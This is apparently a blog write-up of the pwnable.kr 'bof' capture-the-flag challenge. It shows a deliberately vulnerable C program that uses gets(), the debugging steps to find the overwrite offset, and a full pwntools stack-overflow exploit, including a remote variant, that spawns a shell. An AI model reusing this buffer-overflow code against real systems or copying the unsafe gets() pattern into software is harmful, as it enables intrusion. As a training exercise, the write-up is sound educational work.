pwnable.kr [Part III] bof

Jan. 15, 2021 // echel0n

pwnable.kr [Part III] bof

The vulnerable code is below.

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. void func(int key){
  5. char overflowme[32];
  6. printf("overflow me : ");
  7. gets(overflowme); // smash me!
  8. if(key == 0xcafebabe){
  9. system("/bin/sh");
  10. }
  11. else{
  12. printf("Nah..\n");
  13. }
  14. }
  15. int main(int argc, char* argv[]){
  16. func(0xdeadbeef);
  17. return 0;
  18. }
  19. </stdlib.h></string.h></stdio.h>

This is a easy buffer overflow which requires overwriting the key variable in memory. To do this, firstly, we have to look where is the key value and figure out how much we have to overwrite. Even though we don't need it in this example, we should first look at the checksec output to get a good habit.

  1. $ pwn checksec bof
  2. [*] '/home/ctf/pwnable.kr/bof/bof'
  3. Arch: i386-32-little
  4. RELRO: Partial RELRO
  5. Stack: Canary found
  6. NX: NX enabled
  7. PIE: PIE enabled

It says we can't put shellcode to run our payload. (NX)
Also, it will run on random adresses. (PIE)
Also, there will be stack canary, before returning to main,
the program will stop if canary value is changed. (Canary Found)
In this example, the mitigations are not a problem because the function provides a shell before return.
What if there is no system("/bin/sh")? How would we defeat them? Ah, this is a different blog post. I already covered this in my ROP template blog.
So, let's check where is this value in our memory.

Putting a breakpoint to func() is a good start.

This lines gives useful informations about where the key value is;

  1. 0x56555654 func+40 cmp dword ptr [ebp + 8], 0xcafebabe

When we check [ebp +8], there is 0xdeadbeef value. Lets put our payload, and see we write what and where. We can use useful cyclic() function. After giving cyclic(100) output to this vulnerable program, we see this:

To find out when we overwritten exactly this value (0x6161616e), use cyclic_find() function.

So, our exploitation python script will look like this.

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # This exploit template was generated via:
  4. # $ pwn template bof
  5. from pwn import *
  6. # Set up pwntools for the correct architecture
  7. exe = context.binary = ELF("bof")
  8. # GDB terminal
  9. context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
  10. gdbscript = """
  11. tbreak func
  12. continue
  13. """.format(
  14. **locals()
  15. )
  16. def start(argv=[], *a, **kw):
  17. """Start the exploit against the target."""
  18. if args.GDB:
  19. return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  20. else:
  21. return process([exe.path] + argv, *a, **kw)
  22. def prepare_payload(buf_size: int, payload):
  23. JUNK_BYTE = b"\x42" * buf_size
  24. send_this = JUNK_BYTE + p64(payload)
  25. return send_this
  26. def main():
  27. BUFF_SIZE = 52
  28. wanted_int = 0xCAFEBABE
  29. process = start()
  30. # overwritten the `key` value at this position: 52
  31. # payload = cyclic(100)
  32. process.clean()
  33. process.send(prepare_payload(BUFF_SIZE, wanted_int))
  34. process.interactive()
  35. if __name__ == "__main__":
  36. main()

If we got lucky, we will get a shell prompt!

Voila! We got a shell! Let's try to exploit remote server. Just change the script little bit like this:

  1. if not REMOTE:
  2. process = start()
  3. # overwritten the `key` value at this position: 52
  4. # payload = cyclic(100)
  5. process.clean()
  6. process.send(prepare_payload(BUFF_SIZE, wanted_int))
  7. process.interactive()
  8. else:
  9. rem = remote(RSERVER,RPORT) # pwnable.kr:9090
  10. # cleanup socket
  11. rem.clean()
  12. rem.send(prepare_payload(BUFF_SIZE, wanted_int))
  13. rem.interactive()

Another shell for us, yay!

Thank you for reading my blog, have a nice day absolute legends!